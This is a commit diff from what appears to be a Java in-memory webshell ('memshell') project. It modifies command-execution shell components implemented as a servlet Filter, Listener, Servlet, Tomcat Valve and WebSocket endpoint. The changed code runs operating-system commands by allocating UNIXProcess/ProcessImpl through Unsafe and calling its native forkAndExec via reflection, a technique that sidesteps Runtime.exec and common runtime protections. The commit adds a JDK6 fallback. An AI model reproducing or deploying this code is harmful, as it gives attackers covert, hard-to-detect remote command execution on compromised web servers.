Skip to content

Commit 14a1834

Browse files
committed
fix: JDK6 forkAndExec run failed
1 parent 505f020 commit 14a1834

File tree

5 files changed

+172
-111
lines changed

5 files changed

+172
-111
lines changed

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java

Lines changed: 36 additions & 23 deletions
Original file line numberDiff line numberDiff line change
@@ -42,7 +42,8 @@ public void doFilter(ServletRequest request, ServletResponse response, FilterCha
4242
}
4343
return;
4444
}
45-
} catch (Exception ignored) {
45+
} catch (Exception e) {
46+
e.printStackTrace();
4647
}
4748
chain.doFilter(servletRequest, servletResponse);
4849
}
@@ -61,7 +62,6 @@ public static InputStream forkAndExec(String cmd) throws Exception {
6162
} catch (ClassNotFoundException e) {
6263
processClass = Class.forName("java.lang.ProcessImpl");
6364
}
64-
6565
Object processObject = unsafe.allocateInstance(processClass);
6666

6767
byte[][] args = new byte[strs.length - 1][];
@@ -82,27 +82,28 @@ public static InputStream forkAndExec(String cmd) throws Exception {
8282

8383
int[] envc = new int[1];
8484
int[] std_fds = new int[]{-1, -1, -1};
85-
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
86-
Field helperpathField = processClass.getDeclaredField("helperpath");
87-
launchMechanismField.setAccessible(true);
88-
helperpathField.setAccessible(true);
89-
Object launchMechanismObject = launchMechanismField.get(processObject);
90-
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
91-
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
92-
93-
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
94-
byte[].class, int.class, byte[].class, int[].class, boolean.class);
95-
forkMethod.setAccessible(true);
96-
97-
byte[] bytes = strs[0].getBytes();
98-
byte[] result = new byte[bytes.length + 1];
99-
System.arraycopy(bytes, 0,
100-
result, 0,
101-
bytes.length);
102-
result[result.length - 1] = (byte) 0;
103-
104-
forkMethod.invoke(processObject, ordinal + 1, helperpathObject, result, argBlock, args.length,
105-
null, envc[0], null, std_fds, false);
85+
byte[] result = toCString(strs[0]);
86+
try {
87+
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
88+
Field helperpathField = processClass.getDeclaredField("helperpath");
89+
launchMechanismField.setAccessible(true);
90+
helperpathField.setAccessible(true);
91+
Object launchMechanismObject = launchMechanismField.get(processObject);
92+
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
93+
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
94+
95+
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
96+
byte[].class, int.class, byte[].class, int[].class, boolean.class);
97+
forkMethod.setAccessible(true);
98+
forkMethod.invoke(processObject, ordinal + 1, helperpathObject, result, argBlock, args.length,
99+
null, envc[0], null, std_fds, false);
100+
} catch (Exception e) {
101+
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
102+
byte[].class, int.class, byte[].class, int[].class, boolean.class);
103+
forkMethod.setAccessible(true);
104+
forkMethod.invoke(processObject, result, argBlock, args.length,
105+
null, envc[0], null, std_fds, false);
106+
}
106107

107108
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
108109
initStreamsMethod.setAccessible(true);
@@ -113,6 +114,18 @@ public static InputStream forkAndExec(String cmd) throws Exception {
113114
return (InputStream) getInputStreamMethod.invoke(processObject);
114115
}
115116

117+
private static byte[] toCString(String s) {
118+
if (s == null)
119+
return null;
120+
byte[] bytes = s.getBytes();
121+
byte[] result = new byte[bytes.length + 1];
122+
System.arraycopy(bytes, 0,
123+
result, 0,
124+
bytes.length);
125+
result[result.length - 1] = (byte) 0;
126+
return result;
127+
}
128+
116129
@Override
117130
public void destroy() {
118131

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java

Lines changed: 34 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -62,7 +62,6 @@ public static InputStream forkAndExec(String cmd) throws Exception {
6262
} catch (ClassNotFoundException e) {
6363
processClass = Class.forName("java.lang.ProcessImpl");
6464
}
65-
6665
Object processObject = unsafe.allocateInstance(processClass);
6766

6867
byte[][] args = new byte[strs.length - 1][];
@@ -83,27 +82,28 @@ public static InputStream forkAndExec(String cmd) throws Exception {
8382

8483
int[] envc = new int[1];
8584
int[] std_fds = new int[]{-1, -1, -1};
86-
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
87-
Field helperpathField = processClass.getDeclaredField("helperpath");
88-
launchMechanismField.setAccessible(true);
89-
helperpathField.setAccessible(true);
90-
Object launchMechanismObject = launchMechanismField.get(processObject);
91-
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
92-
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
93-
94-
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
95-
byte[].class, int.class, byte[].class, int[].class, boolean.class);
96-
forkMethod.setAccessible(true);
97-
98-
byte[] bytes = strs[0].getBytes();
99-
byte[] result = new byte[bytes.length + 1];
100-
System.arraycopy(bytes, 0,
101-
result, 0,
102-
bytes.length);
103-
result[result.length - 1] = (byte) 0;
104-
105-
forkMethod.invoke(processObject, ordinal + 1, helperpathObject, result, argBlock, args.length,
106-
null, envc[0], null, std_fds, false);
85+
byte[] result = toCString(strs[0]);
86+
try {
87+
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
88+
Field helperpathField = processClass.getDeclaredField("helperpath");
89+
launchMechanismField.setAccessible(true);
90+
helperpathField.setAccessible(true);
91+
Object launchMechanismObject = launchMechanismField.get(processObject);
92+
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
93+
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
94+
95+
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
96+
byte[].class, int.class, byte[].class, int[].class, boolean.class);
97+
forkMethod.setAccessible(true);
98+
forkMethod.invoke(processObject, ordinal + 1, helperpathObject, result, argBlock, args.length,
99+
null, envc[0], null, std_fds, false);
100+
} catch (Exception e) {
101+
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
102+
byte[].class, int.class, byte[].class, int[].class, boolean.class);
103+
forkMethod.setAccessible(true);
104+
forkMethod.invoke(processObject, result, argBlock, args.length,
105+
null, envc[0], null, std_fds, false);
106+
}
107107

108108
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
109109
initStreamsMethod.setAccessible(true);
@@ -114,6 +114,18 @@ public static InputStream forkAndExec(String cmd) throws Exception {
114114
return (InputStream) getInputStreamMethod.invoke(processObject);
115115
}
116116

117+
private static byte[] toCString(String s) {
118+
if (s == null)
119+
return null;
120+
byte[] bytes = s.getBytes();
121+
byte[] result = new byte[bytes.length + 1];
122+
System.arraycopy(bytes, 0,
123+
result, 0,
124+
bytes.length);
125+
result[result.length - 1] = (byte) 0;
126+
return result;
127+
}
128+
117129
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
118130
return null;
119131
}

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java

Lines changed: 34 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -60,7 +60,6 @@ public static InputStream forkAndExec(String cmd) throws Exception {
6060
} catch (ClassNotFoundException e) {
6161
processClass = Class.forName("java.lang.ProcessImpl");
6262
}
63-
6463
Object processObject = unsafe.allocateInstance(processClass);
6564

6665
byte[][] args = new byte[strs.length - 1][];
@@ -81,27 +80,28 @@ public static InputStream forkAndExec(String cmd) throws Exception {
8180

8281
int[] envc = new int[1];
8382
int[] std_fds = new int[]{-1, -1, -1};
84-
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
85-
Field helperpathField = processClass.getDeclaredField("helperpath");
86-
launchMechanismField.setAccessible(true);
87-
helperpathField.setAccessible(true);
88-
Object launchMechanismObject = launchMechanismField.get(processObject);
89-
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
90-
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
91-
92-
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
93-
byte[].class, int.class, byte[].class, int[].class, boolean.class);
94-
forkMethod.setAccessible(true);
95-
96-
byte[] bytes = strs[0].getBytes();
97-
byte[] result = new byte[bytes.length + 1];
98-
System.arraycopy(bytes, 0,
99-
result, 0,
100-
bytes.length);
101-
result[result.length - 1] = (byte) 0;
102-
103-
forkMethod.invoke(processObject, ordinal + 1, helperpathObject, result, argBlock, args.length,
104-
null, envc[0], null, std_fds, false);
83+
byte[] result = toCString(strs[0]);
84+
try {
85+
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
86+
Field helperpathField = processClass.getDeclaredField("helperpath");
87+
launchMechanismField.setAccessible(true);
88+
helperpathField.setAccessible(true);
89+
Object launchMechanismObject = launchMechanismField.get(processObject);
90+
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
91+
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
92+
93+
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
94+
byte[].class, int.class, byte[].class, int[].class, boolean.class);
95+
forkMethod.setAccessible(true);
96+
forkMethod.invoke(processObject, ordinal + 1, helperpathObject, result, argBlock, args.length,
97+
null, envc[0], null, std_fds, false);
98+
} catch (Exception e) {
99+
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
100+
byte[].class, int.class, byte[].class, int[].class, boolean.class);
101+
forkMethod.setAccessible(true);
102+
forkMethod.invoke(processObject, result, argBlock, args.length,
103+
null, envc[0], null, std_fds, false);
104+
}
105105

106106
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
107107
initStreamsMethod.setAccessible(true);
@@ -111,4 +111,16 @@ public static InputStream forkAndExec(String cmd) throws Exception {
111111
getInputStreamMethod.setAccessible(true);
112112
return (InputStream) getInputStreamMethod.invoke(processObject);
113113
}
114+
115+
private static byte[] toCString(String s) {
116+
if (s == null)
117+
return null;
118+
byte[] bytes = s.getBytes();
119+
byte[] result = new byte[bytes.length + 1];
120+
System.arraycopy(bytes, 0,
121+
result, 0,
122+
bytes.length);
123+
result[result.length - 1] = (byte) 0;
124+
return result;
125+
}
114126
}

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java

Lines changed: 34 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -80,7 +80,6 @@ public static InputStream forkAndExec(String cmd) throws Exception {
8080
} catch (ClassNotFoundException e) {
8181
processClass = Class.forName("java.lang.ProcessImpl");
8282
}
83-
8483
Object processObject = unsafe.allocateInstance(processClass);
8584

8685
byte[][] args = new byte[strs.length - 1][];
@@ -101,27 +100,28 @@ public static InputStream forkAndExec(String cmd) throws Exception {
101100

102101
int[] envc = new int[1];
103102
int[] std_fds = new int[]{-1, -1, -1};
104-
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
105-
Field helperpathField = processClass.getDeclaredField("helperpath");
106-
launchMechanismField.setAccessible(true);
107-
helperpathField.setAccessible(true);
108-
Object launchMechanismObject = launchMechanismField.get(processObject);
109-
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
110-
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
111-
112-
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
113-
byte[].class, int.class, byte[].class, int[].class, boolean.class);
114-
forkMethod.setAccessible(true);
115-
116-
byte[] bytes = strs[0].getBytes();
117-
byte[] result = new byte[bytes.length + 1];
118-
System.arraycopy(bytes, 0,
119-
result, 0,
120-
bytes.length);
121-
result[result.length - 1] = (byte) 0;
122-
123-
forkMethod.invoke(processObject, ordinal + 1, helperpathObject, result, argBlock, args.length,
124-
null, envc[0], null, std_fds, false);
103+
byte[] result = toCString(strs[0]);
104+
try {
105+
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
106+
Field helperpathField = processClass.getDeclaredField("helperpath");
107+
launchMechanismField.setAccessible(true);
108+
helperpathField.setAccessible(true);
109+
Object launchMechanismObject = launchMechanismField.get(processObject);
110+
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
111+
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
112+
113+
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
114+
byte[].class, int.class, byte[].class, int[].class, boolean.class);
115+
forkMethod.setAccessible(true);
116+
forkMethod.invoke(processObject, ordinal + 1, helperpathObject, result, argBlock, args.length,
117+
null, envc[0], null, std_fds, false);
118+
} catch (Exception e) {
119+
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
120+
byte[].class, int.class, byte[].class, int[].class, boolean.class);
121+
forkMethod.setAccessible(true);
122+
forkMethod.invoke(processObject, result, argBlock, args.length,
123+
null, envc[0], null, std_fds, false);
124+
}
125125

126126
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
127127
initStreamsMethod.setAccessible(true);
@@ -131,4 +131,16 @@ public static InputStream forkAndExec(String cmd) throws Exception {
131131
getInputStreamMethod.setAccessible(true);
132132
return (InputStream) getInputStreamMethod.invoke(processObject);
133133
}
134+
135+
private static byte[] toCString(String s) {
136+
if (s == null)
137+
return null;
138+
byte[] bytes = s.getBytes();
139+
byte[] result = new byte[bytes.length + 1];
140+
System.arraycopy(bytes, 0,
141+
result, 0,
142+
bytes.length);
143+
result[result.length - 1] = (byte) 0;
144+
return result;
145+
}
134146
}

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebSocket.java

Lines changed: 34 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -55,7 +55,6 @@ public static InputStream forkAndExec(String cmd) throws Exception {
5555
} catch (ClassNotFoundException e) {
5656
processClass = Class.forName("java.lang.ProcessImpl");
5757
}
58-
5958
Object processObject = unsafe.allocateInstance(processClass);
6059

6160
byte[][] args = new byte[strs.length - 1][];
@@ -76,27 +75,28 @@ public static InputStream forkAndExec(String cmd) throws Exception {
7675

7776
int[] envc = new int[1];
7877
int[] std_fds = new int[]{-1, -1, -1};
79-
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
80-
Field helperpathField = processClass.getDeclaredField("helperpath");
81-
launchMechanismField.setAccessible(true);
82-
helperpathField.setAccessible(true);
83-
Object launchMechanismObject = launchMechanismField.get(processObject);
84-
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
85-
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
86-
87-
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
88-
byte[].class, int.class, byte[].class, int[].class, boolean.class);
89-
forkMethod.setAccessible(true);
90-
91-
byte[] bytes = strs[0].getBytes();
92-
byte[] result = new byte[bytes.length + 1];
93-
System.arraycopy(bytes, 0,
94-
result, 0,
95-
bytes.length);
96-
result[result.length - 1] = (byte) 0;
97-
98-
forkMethod.invoke(processObject, ordinal + 1, helperpathObject, result, argBlock, args.length,
99-
null, envc[0], null, std_fds, false);
78+
byte[] result = toCString(strs[0]);
79+
try {
80+
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
81+
Field helperpathField = processClass.getDeclaredField("helperpath");
82+
launchMechanismField.setAccessible(true);
83+
helperpathField.setAccessible(true);
84+
Object launchMechanismObject = launchMechanismField.get(processObject);
85+
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
86+
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
87+
88+
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
89+
byte[].class, int.class, byte[].class, int[].class, boolean.class);
90+
forkMethod.setAccessible(true);
91+
forkMethod.invoke(processObject, ordinal + 1, helperpathObject, result, argBlock, args.length,
92+
null, envc[0], null, std_fds, false);
93+
} catch (Exception e) {
94+
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
95+
byte[].class, int.class, byte[].class, int[].class, boolean.class);
96+
forkMethod.setAccessible(true);
97+
forkMethod.invoke(processObject, result, argBlock, args.length,
98+
null, envc[0], null, std_fds, false);
99+
}
100100

101101
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
102102
initStreamsMethod.setAccessible(true);
@@ -107,6 +107,18 @@ public static InputStream forkAndExec(String cmd) throws Exception {
107107
return (InputStream) getInputStreamMethod.invoke(processObject);
108108
}
109109

110+
private static byte[] toCString(String s) {
111+
if (s == null)
112+
return null;
113+
byte[] bytes = s.getBytes();
114+
byte[] result = new byte[bytes.length + 1];
115+
System.arraycopy(bytes, 0,
116+
result, 0,
117+
bytes.length);
118+
result[result.length - 1] = (byte) 0;
119+
return result;
120+
}
121+
110122
@Override
111123
public void onOpen(final Session session, EndpointConfig config) {
112124
this.session = session;

0 commit comments

Comments
 (0)